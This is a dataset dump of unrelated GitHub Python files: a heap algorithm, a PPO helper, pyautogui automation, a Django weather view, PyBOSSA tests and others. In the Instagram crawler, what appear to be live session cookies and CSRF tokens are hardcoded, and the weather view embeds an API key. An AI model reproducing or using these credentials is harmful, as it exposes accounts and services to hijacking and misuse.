results\nplt.plot(wTraj[0,:],wTraj[1,:],'r')\nplt.plot([0,w[0]],[0,w[1]],'k')\nplt.plot([-1,1],[0,0],'k'); plt.plot([0,0],[-1,1],'k')\nplt.axis([-1,1,-1,1])\n","repo_name":"trappenberg/FCNS","sub_path":"Chapter6/oja.py","file_name":"oja.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"74033267560","text":"import setuptools\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(path.join(here, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetuptools.setup(\n name='eagle200_reader',\n version='0.2.4',\n description='A program to read from an Rainforest Eagle-200 on the local network',\n long_description=long_description,\n url='https://github.com/gtdiehl/eagle200_reader',\n packages=setuptools.find_packages(),\n)\n","repo_name":"gtdiehl/eagle200_reader","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"} +{"seq_id":"41480591131","text":"import requests\nfrom queue_client import Client_Queue\nimport sys\n\ndef send_request_to_url(url):\n payload={}\n headers = {\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0',\n 'Accept': '*/*',\n 'Accept-Language': 'en-US,en;q=0.5',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'X-CSRFToken': 'Dct9JaECYyNPfUlsYN6EgYDrX5x9D9D0',\n 'X-IG-App-ID': '936619743392459',\n 'X-ASBD-ID': '198387',\n 'X-IG-WWW-Claim': 'hmac.AR04vjYZxoJNkn6M-DHxUhHNviR0hxzslxyJZbNO5SyztwuQ',\n 'X-Requested-With': 'XMLHttpRequest',\n 'Alt-Used': 'www.instagram.com',\n 'Connection': 'keep-alive',\n 'Referer': 'https://www.instagram.com/the_girl_that_love_backless/',\n 'Cookie': 'ig_did=991D7BC3-C5D5-4448-A272-AC07F8460BE5; ig_nrcb=1; csrftoken=Dct9JaECYyNPfUlsYN6EgYDrX5x9D9D0; mid=Y0r7pQAEAAFO-zcSf5DVqRmWc0_z; sessionid=3243669251%3A9PtOWjdNNM8LIO%3A6%3AAYdLE-VgXYeFl1P9yO5_y64ACtXWHasYokrRuqUSaw; ds_user_id=3243669251; datr=ffxKY89uTmO4kewV8tF4rShd; fbm_124024574287414=base_domain=.instagram.com; shbid=\"7908\\\\0543243669251\\\\0541702281329:01f74d88b43cdaeb0a33d93d4b5fa1f9cec71839b1e47081a48ff015a9b01a51cf59cd59\"; shbts=\"1670745329\\\\0543243669251\\\\0541702281329:01f7bd46c783a206216a717fa0cf1245e5320c66b5346bb3552a9ffd924e15c4f1f58e44\"; rur=\"NAO\\\\0543243669251\\\\0541702281507:01f7be0ea351e1594358570a4d5e289aba08056978dcb38d4aadfdc255786dd85456ba8e\"; csrftoken=Dct9JaECYyNPfUlsYN6EgYDrX5x9D9D0; ds_user_id=3243669251; rur=\"NAO\\\\0543243669251\\\\0541702284672:01f7195fcbb73fe7fab346699ecb40c3a31349ee2eb01f9a9875788d51802af635f4ea30\"',\n 'Sec-Fetch-Dest': 'empty',\n 'Sec-Fetch-Mode': 'cors',\n 'Sec-Fetch-Site': 'same-origin',\n 'TE': 'trailers'\n }\n response = requests.request(\"GET\", url, headers=headers, data=payload)\n return response\n\nclient_queue = Client_Queue(9002)\n\ndef get_next_max(user_id, next_max_id):\n url = 'https://www.instagram.com/api/v1/feed/user/'+str(user_id)+'/?count=100&max_id='+ str(next_max_id)\n response = send_request_to_url(url)\n response_json = response.json()\n items_of_images = response_json['items']\n\n for items in items_of_images:\n if ('carousel_media' in items.keys()):\n carousel_media = items['carousel_media']\n for carousel_media_single in carousel_media:\n image_version_2 = carousel_media_single['image_versions2']\n if ('candidates' in image_version_2.keys()):\n image_candidate = image_version_2['candidates']\n first_image_candidate = image_candidate[0]\n image_url = first_image_candidate['url']\n client_queue.push_to_queue(image_url)\n elif ('image_versions2' in items.keys()):\n image_version_2 = items['image_versions2']\n if ('candidates' in image_version_2.keys()):\n image_candidate = image_version_2['candidates']\n first_image_candidate = image_candidate[0]\n image_url = first_image_candidate['url']\n client_queue.push_to_queue(image_url)\n\n if ('next_max_id' in response_json.keys()):\n next_max_id = response_json['next_max_id']\n get_next_max(user_id, next_max_id)\n\ndef push_url_to_queue(user_insta_handle):\n url = \"https://www.instagram.com/api/v1/feed/user/\"+user_insta_handle+\"/username/?count=100\"\n\n response = send_request_to_url(url)\n response_json = response.json()\n items_of_images = response_json['items']\n user_id = response_json['user']['pk']\n\n for items in items_of_images:\n if ('carousel_media' in items.keys()):\n carousel_media = items['carousel_media']\n for carousel_media_single in carousel_media:\n image_version_2 = carousel_media_single['image_versions2']\n if ('candidates' in image_version_2.keys()):\n image_candidate = image_version_2['candidates']\n first_image_candidate = image_candidate[0]\n image_url = first_image_candidate['url']\n client_queue.push_to_queue(image_url)\n elif ('image_versions2' in items.keys()):\n image_version_2 = items['image_versions2']\n if ('candidates' in image_version_2.keys()):\n image_candidate = image_version_2['candidates']\n first_image_candidate = image_candidate[0]\n image_url = first_image_candidate['url']\n client_queue.push_to_queue(image_url)\n\n if ('next_max_id' in response_json.keys()):\n next_max_id = response_json['next_max_id']\n get_next_max(user_id, next_max_id)\n \n\n\n\nuser_insta_handle = 'anubhav_p_kumar'\n\npush_url_to_queue(user_insta_handle)\n","repo_name":"anubhavpkumar/my-mini-projects","sub_path":"instaCrawl/crawler_system/url_crawler.py","file_name":"url_crawler.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21119004734","text":"\"\"\"\nGiven an n x n matrix, where every row and column is sorted in non-decreasing order.\nFind the kth smallest element in the given 2D array.\nFor example, consider the following 2D array.\n 10, 20, 30, 40\n 15, 25, 35, 45\n 24, 29, 37, 48\n 32, 33, 39, 50\nThe 3rd smallest element is 20 and 7th smallest element is 30\n\"\"\"\nimport sys\nfrom copy import deepcopy\nfrom typing import Optional\n\n\ndef parent_index(index: int) -> int:\n return int((index - 1) / 2)\n\n\ndef left_child_index(index: int) -> int:\n return 2 * index + 1\n\n\ndef right_child_index(index: int) -> int:\n return 2 * (index + 1)\n\n\nclass KthSmallestMinHeap:\n \"\"\"\n 1) Build a min heap of elements from first row.\n A heap entry also stores row number and column number.\n 2) Do following k times.\n …a) Get minimum element (or root) from min heap.\n …b) Find row number and column number of the minimum element.\n …c) Replace root with the next element from same column and min-heapify the root.\n 3) Return the last extracted root.\n \"\"\"\n\n def __init__(self, arr: list) -> None:\n self.dim = len(arr)\n self.arr = deepcopy(arr)\n self.heap: list = []\n\n def _heapify(self, index: int):\n while index < self.dim:\n left, right = left_child_index(index), right_child_index(index)\n min_index = index\n\n if left < self.dim and self.heap[left][0] < self.heap[min_index][0]:\n min_index = left\n if right < self.dim and self.heap[right][0] < self.heap[min_index][0]:\n min_index = right\n\n if index != min_index:\n self.heap[index], self.heap[min_index] = (\n self.heap[min_index],\n self.heap[index],\n )\n index = min_index\n else:\n break\n\n def _extract_replace_element(self) -> int:\n element, x, y = self.heap[0]\n\n if x + 1 < self.dim:\n self.heap[0] = self.arr[x + 1][y], x + 1, y\n else:\n self.heap[0] = sys.maxsize, x + 1, y\n\n self._heapify(0)\n return element\n\n def kth_element(self, k: int) -> int:\n self.heap = []\n\n for index in range(self.dim):\n self.heap.append((self.arr[0][index], 0, index))\n\n for i in range(self.dim - 1, -1, -1):\n self._heapify(i)\n\n for i in range(k - 1):\n self._extract_replace_element()\n\n return self.heap[0][0]\n\n\nif __name__ == \"__main__\":\n arr: list = [[10, 20, 30, 40], [15, 25, 35, 45], [24, 29, 37, 48], [32, 33, 39, 50]]\n kth = KthSmallestMinHeap(arr)\n assert kth.kth_element(3) == 20\n assert kth.kth_element(7) == 30\n","repo_name":"rrwt/daily-coding-challenge","sub_path":"gfg/arrays/kth_smallest_element_in_2d_array.py","file_name":"kth_smallest_element_in_2d_array.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"43714714217","text":"import numpy as np\nimport torch\nfrom typing import List\nfrom collections import deque\n\n\n\n\n\ndef ppo_iter(\n epoch: int,\n mini_batch_size: int,\n states: torch.Tensor,\n actions: torch.Tensor,\n values: torch.Tensor,\n log_probs: torch.Tensor,\n returns: torch.Tensor,\n advantages: torch.Tensor,\n):\n \"\"\"Yield mini-batches.\"\"\"\n batch_size = states.size(0)\n \n for _ in range(epoch):\n for _ in range(batch_size // mini_batch_size):\n rand_ids = np.random.choice(batch_size, mini_batch_size)\n yield states[rand_ids, :], actions[rand_ids], values[\n rand_ids\n ], log_probs[rand_ids], returns[rand_ids], advantages[rand_ids]\n \n\n\ndef compute_gae(\n next_value: list, \n rewards: list, \n masks: list, \n values: list, \n gamma: float, \n tau: float\n) -> List:\n \"\"\"Compute gae.\n GAE help to reduce variance while maintaining a proper level of bias. By adjusting parameters λ∈[0,1]\n and γ∈[0,1]\n \"\"\"\n values = values + [next_value]\n gae = 0\n returns: deque[float] = deque()\n\n for step in reversed(range(len(rewards))):\n delta = (\n rewards[step]\n + gamma * values[step + 1] * masks[step]\n - values[step]\n )\n gae = delta + gamma * tau * masks[step] * gae\n returns.appendleft(gae + values[step])\n\n return list(returns) ","repo_name":"vincehass/Deep-Reinforcement-Learning-Optimal-Control","sub_path":"utilities/Actor_Crtics_utilities/PPO/PPO_helper.py","file_name":"PPO_helper.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"} +{"seq_id":"37968462570","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[19]:\n\n\n#Biblioteca que serve para automatizar tarefas e processos\n#Automatiza o mouse, o teclado e a tela do computador\nget_ipython().system('pip install pyautogui')\nget_ipython().system('pip install pyperclip')\n\n\n# In[20]:\n\n\nimport pyautogui\nimport pyperclip\nimport time\npyautogui.PAUSE = 1 #espera 1s entre os comandos\n\n#pyautogui.hotkey -> conjunto de teclas\n#pyautogui.write -> escrever um texto\n#pyautogui.press -> apertar uma tecla\n\n#Passo 1: Entrar no sistema da empresa (link do drive como exemplo)\n#abrir aba no navegador, escrever o link e dar o enter\n#comandos = pyautogui.o que quer fazer\n#hotkey: conjunto de teclas (ctrl t abre uma aba no vavegador)\npyautogui.hotkey(\"ctrl\", \"t\")\n\n#se o navegador não estiver aberto\n#pyautogui.press(\"win\")\n#pyautogui.write(\"firefox\")\n#pyautogui.press(\"enter\")\n\n#escrever o link\n\n#copia o link e cola no navegador\npyperclip.copy(\"https://drive.google.com/drive/folders/1B3h6h-R1Mw_BhP2uYqkdeGmYL-DTeCYc\")\npyautogui.hotkey(\"ctrl\", \"v\")\npyautogui.press(\"enter\")\n#demora alguns segundos para carregar por causa da internet\ntime.sleep(5) #só pausa o codigo nesse momento\n\n#tempo/tem que esperar a tela carregar, coloca o pause no inicio\n#tem alguns caracteres especiais, o pyperclip permite isso\n#se tivesse que logar, pegar o mouse, escrever o login e senha\n\n#Passo 2: Navegar no sistema e encontrar a base de dados(entrar na pasta exportar)\n#dar duplo clique na pasta exportar com o MOUSE com a posição da tela\npyautogui.click(x=946, y=397, clicks = 2) #texto entre aspas, numeros não -\ntime.sleep(2) #tempo para o navegador carregar\n\n#Passo 3: Exportar/Fazer Download da Base de Dados\n\n#fazer download do arquivo: clica no arquivo, clica nos tres pontos, clica no download\npyautogui.click(x=403, y=381)\npyautogui.click(x=1154, y=167)\npyautogui.click(x=1044, y=548)\ntime.sleep(5) #esperar o download\n\n\n\n\n\n# In[21]:\n\n\n#Passo 4: Importar a base de dados para o Python\nimport pandas as pd #apelido que deu pro pandas\ntabela = pd.read_excel(r\"D:\\Vendas - Dez.xlsx\") #se tivesse mais de uma aba, colocaria \" \" , sheets = n° aba\n#pode ler várias bases de dados e armazena no tabela\n#sempre coloca r antes de um caminho do pc, para dizer que n tem caractere especial\ndisplay(tabela) #print em outros locais\n\n#pd.+tab mostra todas oções\n\n\n# In[22]:\n\n\n#Passo 5: Calcular os indicadores\n#faturamento = soma da coluna valor final\nfaturamento = tabela[\"Valor Final\"].sum() #se quiser contar .count, media .average, se quiser somar .sum\n#quantidade total\nquantidade = tabela[\"Quantidade\"].sum()\n\nprint(faturamento)\n\n\n# In[23]:\n\n\n#Passo 6: Enviar um email para diretoria com o relatório\n#abrir email\npyautogui.hotkey(\"ctrl\", \"t\")\npyperclip.copy(\"https://outlook.live.com/mail/0/\")\npyautogui.hotkey(\"ctrl\", \"v\")\npyautogui.press(\"enter\")\ntime.sleep(5)\n\n\n#clica no escrever\npyautogui.click(x=196, y=145)\ntime.sleep(2)\n#clica no email destinatario\npyautogui.write(\"rafaelfeijo@acad.ftec.com.br\")\npyautogui.press(\"tab\") #para reconhecer o email\n#escrever assunto\npyautogui.press(\"tab\")\npyautogui.write(\"AutomacaoProcessos\")\npyautogui.press(\"tab\")\n#escrever o email\n#texto em varias linhas, f quer dizer que quer formatar e quer dizer que pode colocar variaveis dinamicas\n#milhar e casas decimais\n#separacao de milhar é virgula\ntexto = f\"\"\"\nPrezados, bom dia\nO faturamento de ontem foi de R${faturamento:,.2f}\nA quantidade de produtos é de {quantidade:,} \n\nabs\n\"\"\"\npyperclip.copy(texto) #se tiver caracter especial\npyautogui.hotkey(\"ctrl\", \"v\")\npyautogui.hotkey(\"ctrl\", \"enter\") #manda email\n#depois rodar tudo de uma vez\n\n\n# In[24]:\n\n\n#codigo para descobrir a posição no monitor\ntime.sleep(5)\npyautogui.position()\n#coloca a posição onde tem a pasta que quer\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"RafaelRoaniFeijo/Automacao-de-Processos","sub_path":"AutomacaoProcessos.py","file_name":"AutomacaoProcessos.py","file_ext":"py","file_size_in_byte":3759,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15101679273","text":"from django.shortcuts import render\nimport requests\n\n# Create your views here.\ndef weather(request):\n error_message = None\n\n if request.method == 'POST':\n city = request.POST.get('city')\n\n if not city:\n error_message = 'Please enter a city name'\n else:\n api_url = 'http://api.openweathermap.org./data/2.5/weather?appid=0c42f7f6b53b244c78a418f4f181282a&q='\n url = api_url + city\n response = requests.get(url)\n content = response.json()\n \n if city == 'Dragon ball'.lower() :\n error_message = \"Best Anime in the history 😎\"\n elif city == 'ONE PIECE'.lower() :\n error_message = \"Sanji aswa2 chakhsiya 👍\" \n \n elif content.get('cod') == '404':\n error_message = 'Please enter a valid city name' \n else:\n city_weather = {\n 'City': city,\n 'Temperature': round(content['main']['temp']-273.15, 2),\n 'Description': content['weather'][0]['description'],\n 'Icon': content['weather'][0]['icon']\n }\n return render(request, 'weather_api/weather.html', {'city_weather': city_weather})\n\n return render(request, 'weather_api/weather.html', {'error_message': error_message})\n\n \n","repo_name":"AltosCChild/Weather-App-using-Django","sub_path":"weather_api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20910968208","text":"import csv\n\n# Hooray for janky solutions that work\ndef concsv(oldname, newname, currentname):\n\n allcols = ['StopNum','RouteNum','PollTime','TimeToNext','NextBusStartTime','TimeTo2nd','TimeTo3rd']\n\n legacy = open(oldname+'.csv', 'rb')\n legacyreader = csv.reader(legacy)\n next(legacyreader, None) # skip header of legacy data\n new = open(newname + '.csv', 'rb')\n newreader = csv.reader(new)\n next(newreader, None)\n output = open(currentname+'.csv', 'wb')\n outputwriter = csv.writer(output)\n outputwriter.writerow(allcols) # Write the headers\n\n for row in legacyreader:\n outputwriter.writerow(row + ['-50', '-50', '-50']) # fill in error values for missing data\n\n for row in newreader:\n outputwriter.writerow(row)\n","repo_name":"SuperThunder/OCT-Analytics","sub_path":"addolddata.py","file_name":"addolddata.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8485938908","text":"from default import Test, db, with_context\nfrom nose.tools import assert_raises\nfrom factories import ProjectFactory, CategoryFactory\nfrom pybossa.repositories import ProjectRepository\nfrom pybossa.exc import WrongObjectError, DBIntegrityError\n\n\nclass TestProjectRepositoryForProjects(Test):\n def setUp(self):\n super(TestProjectRepositoryForProjects, self).setUp()\n self.project_repo = ProjectRepository(db)\n\n @with_context\n def test_get_return_none_if_no_project(self):\n \"\"\"Test get method returns None if there is no project with the\n specified id\"\"\"\n\n project = self.project_repo.get(2)\n\n assert project is None, project\n\n @with_context\n def test_get_returns_project(self):\n \"\"\"Test get method returns a project if exists\"\"\"\n\n project = ProjectFactory.create()\n\n retrieved_project = self.project_repo.get(project.id)\n\n assert project == retrieved_project, retrieved_project\n\n @with_context\n def test_get_by_shortname_return_none_if_no_project(self):\n \"\"\"Test get_by_shortname returns None when a project with the specified\n short_name does not exist\"\"\"\n\n project = self.project_repo.get_by_shortname(\"thisprojectdoesnotexist\")\n\n assert project is None, project\n\n @with_context\n def test_get_by_shortname_returns_the_project(self):\n \"\"\"Test get_by_shortname returns a project if exists\"\"\"\n\n project = ProjectFactory.create()\n\n retrieved_project = self.project_repo.get_by_shortname(project.short_name)\n\n assert project == retrieved_project, retrieved_project\n\n @with_context\n def test_get_by(self):\n \"\"\"Test get_by returns a project with the specified attribute\"\"\"\n\n project = ProjectFactory.create(name=\"My Project\", short_name=\"myproject\")\n\n retrieved_project = self.project_repo.get_by(name=project.name)\n\n assert project == retrieved_project, retrieved_project\n\n @with_context\n def test_get_by_returns_none_if_no_project(self):\n \"\"\"Test get_by returns None if no project matches the query\"\"\"\n\n ProjectFactory.create(name=\"My Project\", short_name=\"myproject\")\n\n project = self.project_repo.get_by(name=\"no_name\")\n\n assert project is None, project\n\n @with_context\n def get_all_returns_list_of_all_projects(self):\n \"\"\"Test get_all returns a list of all the existing projects\"\"\"\n\n projects = ProjectFactory.create_batch(3)\n\n retrieved_projects = self.project_repo.get_all()\n\n assert isinstance(retrieved_projects, list)\n assert len(retrieved_projects) == len(projects), retrieved_projects\n for project in retrieved_projects:\n assert project in projects, project\n\n @with_context\n def test_filter_by_no_matches(self):\n \"\"\"Test filter_by returns an empty list if no projects match the query\"\"\"\n\n ProjectFactory.create(name=\"My Project\", short_name=\"myproject\")\n\n retrieved_projects = self.project_repo.filter_by(name=\"no_name\")\n\n assert isinstance(retrieved_projects, list)\n assert len(retrieved_projects) == 0, retrieved_projects\n\n @with_context\n def test_filter_by_one_condition(self):\n \"\"\"Test filter_by returns a list of projects that meet the filtering\n condition\"\"\"\n\n ProjectFactory.create_batch(3, allow_anonymous_contributors=False)\n should_be_missing = ProjectFactory.create(allow_anonymous_contributors=True)\n\n retrieved_projects = self.project_repo.filter_by(\n allow_anonymous_contributors=False\n )\n\n assert len(retrieved_projects) == 3, retrieved_projects\n assert should_be_missing not in retrieved_projects, retrieved_projects\n\n @with_context\n def test_filter_by_multiple_conditions(self):\n \"\"\"Test filter_by supports multiple-condition queries\"\"\"\n\n ProjectFactory.create_batch(\n 2, allow_anonymous_contributors=False, featured=False\n )\n project = ProjectFactory.create(\n allow_anonymous_contributors=False, featured=True\n )\n\n retrieved_projects = self.project_repo.filter_by(\n allow_anonymous_contributors=False, featured=True\n )\n\n assert len(retrieved_projects) == 1, retrieved_projects\n assert project in retrieved_projects, retrieved_projects\n\n @with_context\n def test_filter_by_limit_offset(self):\n \"\"\"Test that filter_by supports limit and offset options\"\"\"\n\n ProjectFactory.create_batch(4)\n all_projects = self.project_repo.filter_by()\n\n first_two = self.project_repo.filter_by(limit=2)\n last_two = self.project_repo.filter_by(limit=2, offset=2)\n\n assert len(first_two) == 2, first_two\n assert len(last_two) == 2, last_two\n assert first_two == all_projects[:2]\n assert last_two == all_projects[2:]\n\n @with_context\n def test_save(self):\n \"\"\"Test save persist the project\"\"\"\n\n project = ProjectFactory.build()\n assert self.project_repo.get(project.id) is None\n\n self.project_repo.save(project)\n\n assert self.project_repo.get(project.id) == project, \"Project not saved\"\n\n @with_context\n def test_save_fails_if_integrity_error(self):\n \"\"\"Test save raises a DBIntegrityError if the instance to be saved lacks\n a required value\"\"\"\n\n project = ProjectFactory.build(name=None)\n\n assert_raises(DBIntegrityError, self.project_repo.save, project)\n\n @with_context\n def test_save_only_saves_projects(self):\n \"\"\"Test save raises a WrongObjectError when an object which is not\n a Project instance is saved\"\"\"\n\n bad_object = dict()\n\n assert_raises(WrongObjectError, self.project_repo.save, bad_object)\n\n @with_context\n def test_update(self):\n \"\"\"Test update persists the changes made to the project\"\"\"\n\n project = ProjectFactory.create(description=\"this is a project\")\n project.description = \"the description has changed\"\n\n self.project_repo.update(project)\n updated_project = self.project_repo.get(project.id)\n\n assert (\n updated_project.description == \"the description has changed\"\n ), updated_project\n\n @with_context\n def test_update_fails_if_integrity_error(self):\n \"\"\"Test update raises a DBIntegrityError if the instance to be updated\n lacks a required value\"\"\"\n\n project = ProjectFactory.create()\n project.name = None\n\n assert_raises(DBIntegrityError, self.project_repo.update, project)\n\n @with_context\n def test_update_only_updates_projects(self):\n \"\"\"Test update raises a WrongObjectError when an object which is not\n a Project instance is updated\"\"\"\n\n bad_object = dict()\n\n assert_raises(WrongObjectError, self.project_repo.update, bad_object)\n\n @with_context\n def test_delete(self):\n \"\"\"Test delete removes the project instance\"\"\"\n\n project = ProjectFactory.create()\n\n self.project_repo.delete(project)\n deleted = self.project_repo.get(project.id)\n\n assert deleted is None, deleted\n\n @with_context\n def test_delete_also_removes_dependant_resources(self):\n \"\"\"Test delete removes project tasks and taskruns too\"\"\"\n from factories import TaskFactory, TaskRunFactory, BlogpostFactory\n from pybossa.repositories import TaskRepository, BlogRepository\n\n project = ProjectFactory.create()\n task = TaskFactory.create(project=project)\n taskrun = TaskRunFactory.create(task=task)\n blogpost = BlogpostFactory.create(project=project)\n\n self.project_repo.delete(project)\n deleted_task = TaskRepository(db).get_task(task.id)\n deleted_taskrun = TaskRepository(db).get_task_run(taskrun.id)\n deleted_blogpost = BlogRepository(db).get(blogpost.id)\n\n assert deleted_task is None, deleted_task\n assert deleted_taskrun is None, deleted_taskrun\n\n @with_context\n def test_delete_only_deletes_projects(self):\n \"\"\"Test delete raises a WrongObjectError if is requested to delete other\n than a project\"\"\"\n\n bad_object = dict()\n\n assert_raises(WrongObjectError, self.project_repo.delete, bad_object)\n\n\nclass TestProjectRepositoryForCategories(Test):\n def setUp(self):\n super(TestProjectRepositoryForCategories, self).setUp()\n self.project_repo = ProjectRepository(db)\n\n @with_context\n def test_get_category_return_none_if_no_category(self):\n \"\"\"Test get_category method returns None if there is no category with\n the specified id\"\"\"\n\n category = self.project_repo.get_category(200)\n\n assert category is None, category\n\n @with_context\n def test_get_category_returns_category(self):\n \"\"\"Test get_category method returns a category if exists\"\"\"\n\n category = CategoryFactory.create()\n\n retrieved_category = self.project_repo.get_category(category.id)\n\n assert category == retrieved_category, retrieved_category\n\n @with_context\n def test_get_category_by(self):\n \"\"\"Test get_category returns a category with the specified attribute\"\"\"\n\n category = CategoryFactory.create(name=\"My Cat\", short_name=\"mycat\")\n\n retrieved_category = self.project_repo.get_category_by(name=category.name)\n\n assert category == retrieved_category, retrieved_category\n\n @with_context\n def test_get_category_by_returns_none_if_no_category(self):\n \"\"\"Test get_category returns None if no category matches the query\"\"\"\n\n CategoryFactory.create(name=\"My Project\", short_name=\"mycategory\")\n\n category = self.project_repo.get_by(name=\"no_name\")\n\n assert category is None, category\n\n @with_context\n def get_all_returns_list_of_all_categories(self):\n \"\"\"Test get_all_categories returns a list of all the existing categories\"\"\"\n\n categories = CategoryFactory.create_batch(3)\n\n retrieved_categories = self.project_repo.get_all_categories()\n\n assert isinstance(retrieved_categories, list)\n assert len(retrieved_categories) == len(categories), retrieved_categories\n for category in retrieved_categories:\n assert category in categories, category\n\n @with_context\n def test_filter_categories_by_no_matches(self):\n \"\"\"Test filter_categories_by returns an empty list if no categories\n match the query\"\"\"\n\n CategoryFactory.create(name=\"My Project\", short_name=\"mycategory\")\n\n retrieved_categories = self.project_repo.filter_categories_by(name=\"no_name\")\n\n assert isinstance(retrieved_categories, list)\n assert len(retrieved_categories) == 0, retrieved_categories\n\n @with_context\n def test_filter_categories_by_ownerid(self):\n \"\"\"Test filter_categories_by removes ownerid from query.\"\"\"\n\n CategoryFactory.create(name=\"My Project\", short_name=\"mycategory\")\n\n retrieved_categories = self.project_repo.filter_categories_by(\n short_name=\"mycategory\", owner_id=1\n )\n\n assert isinstance(retrieved_categories, list)\n assert len(retrieved_categories) == 1, retrieved_categories\n\n @with_context\n def test_filter_categories_by_one_condition(self):\n \"\"\"Test filter_categories_by returns a list of categories that meet\n the filtering condition\"\"\"\n\n CategoryFactory.create_batch(3, description=\"generic category\")\n should_be_missing = CategoryFactory.create(description=\"other category\")\n\n retrieved_categories = self.project_repo.filter_categories_by(\n description=\"generic category\"\n )\n\n assert len(retrieved_categories) == 3, retrieved_categories\n assert should_be_missing not in retrieved_categories, retrieved_categories\n\n @with_context\n def test_filter_categories_by_limit_offset(self):\n \"\"\"Test that filter_categories_by supports limit and offset options\"\"\"\n\n CategoryFactory.create_batch(4)\n all_categories = self.project_repo.filter_categories_by()\n\n first_two = self.project_repo.filter_categories_by(limit=2)\n last_two = self.project_repo.filter_categories_by(limit=2, offset=2)\n\n assert len(first_two) == 2, first_two\n assert len(last_two) == 2, last_two\n assert first_two == all_categories[:2]\n assert last_two == all_categories[2:]\n\n @with_context\n def test_save_category(self):\n \"\"\"Test save_category persist the category\"\"\"\n\n category = CategoryFactory.build()\n assert self.project_repo.get(category.id) is None\n\n self.project_repo.save_category(category)\n\n assert (\n self.project_repo.get_category(category.id) == category\n ), \"Category not saved\"\n\n @with_context\n def test_save_category_fails_if_integrity_error(self):\n \"\"\"Test save_category raises a DBIntegrityError if the instance to be\n saved lacks a required value\"\"\"\n\n category = CategoryFactory.build(name=None)\n\n assert_raises(DBIntegrityError, self.project_repo.save_category, category)\n\n @with_context\n def test_save_category_only_saves_categories(self):\n \"\"\"Test save_category raises a WrongObjectError when an object which is\n not a Category instance is saved\"\"\"\n\n bad_object = ProjectFactory.build()\n\n assert_raises(WrongObjectError, self.project_repo.save_category, bad_object)\n\n @with_context\n def test_update_category(self):\n \"\"\"Test update_category persists the changes made to the category\"\"\"\n\n info = {\"key\": \"val\"}\n category = CategoryFactory.create(info=info)\n info_new = {\"f\": \"v\"}\n category.info = info_new\n\n self.project_repo.update_category(category)\n updated_category = self.project_repo.get_category(category.id)\n\n assert updated_category.info == info_new, updated_category\n\n @with_context\n def test_update_category_fails_if_integrity_error(self):\n \"\"\"Test update raises a DBIntegrityError if the instance to be updated\n lacks a required value\"\"\"\n\n category = CategoryFactory.create()\n category.name = None\n\n assert_raises(DBIntegrityError, self.project_repo.update_category, category)\n\n @with_context\n def test_update_category_only_updates_categories(self):\n \"\"\"Test update_category raises a WrongObjectError when an object which is\n not a Category instance is updated\"\"\"\n\n bad_object = ProjectFactory.build()\n\n assert_raises(WrongObjectError, self.project_repo.update_category, bad_object)\n\n @with_context\n def test_delete_category(self):\n \"\"\"Test delete_category removes the category instance\"\"\"\n\n category = CategoryFactory.create()\n\n self.project_repo.delete_category(category)\n deleted = self.project_repo.get_category(category.id)\n\n assert deleted is None, deleted\n\n @with_context\n def test_delete_category_only_deletes_categories(self):\n \"\"\"Test delete_category raises a WrongObjectError if is requested to\n delete other than a category\"\"\"\n\n bad_object = dict()\n\n assert_raises(WrongObjectError, self.project_repo.delete_category, bad_object)\n\n @with_context\n def test_fulltext_search_category(self):\n \"\"\"Test fulltext search in JSON info works.\"\"\"\n category = CategoryFactory.create()\n text = \"something word you me bar\"\n data = {\"foo\": text}\n category.info = data\n self.project_repo.update_category(category)\n\n info = \"foo::word\"\n res = self.project_repo.filter_categories_by(info=info, fulltextsearch=\"1\")\n assert len(res) == 1, len(res)\n assert res[0][0].info[\"foo\"] == text, res[0]\n\n res = self.project_repo.filter_categories_by(info=info)\n assert len(res) == 0, len(res)\n\n @with_context\n def test_fulltext_search_category_01(self):\n \"\"\"Test fulltext search in JSON info works.\"\"\"\n category = CategoryFactory.create()\n text = \"something word you me bar\"\n data = {\"foo\": text, \"bar\": \"foo\"}\n category.info = data\n self.project_repo.update_category(category)\n\n info = \"foo::word&bar|bar::foo\"\n res = self.project_repo.filter_categories_by(info=info, fulltextsearch=\"1\")\n assert len(res) == 1, len(res)\n assert res[0][0].info[\"foo\"] == text, res[0]\n\n @with_context\n def test_info_json_search_category(self):\n \"\"\"Test search in JSON info works.\"\"\"\n category = CategoryFactory.create()\n text = \"bar\"\n data = {\"foo\": text}\n category.info = data\n self.project_repo.update_category(category)\n\n info = \"foo::bar\"\n res = self.project_repo.filter_categories_by(info=info)\n assert len(res) == 1, len(res)\n assert res[0].info[\"foo\"] == text, res[0]\n","repo_name":"Scifabric/pybossa","sub_path":"test/test_repository/test_project_repository.py","file_name":"test_project_repository.py","file_ext":"py","file_size_in_byte":16896,"program_lang":"python","lang":"en","doc_type":"code","stars":730,"dataset":"github-code","pt":"18"} +{"seq_id":"36663166971","text":"\"\"\"Adapted from Megatron-LM:\nhttps://github.com/NVIDIA/Megatron-LM/blob/main/megatron/mpu/cross_entropy.py\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nfrom cubework.distributed import ParallelManager as pm\nfrom torch.cuda.amp import custom_bwd, custom_fwd\n\n\nclass 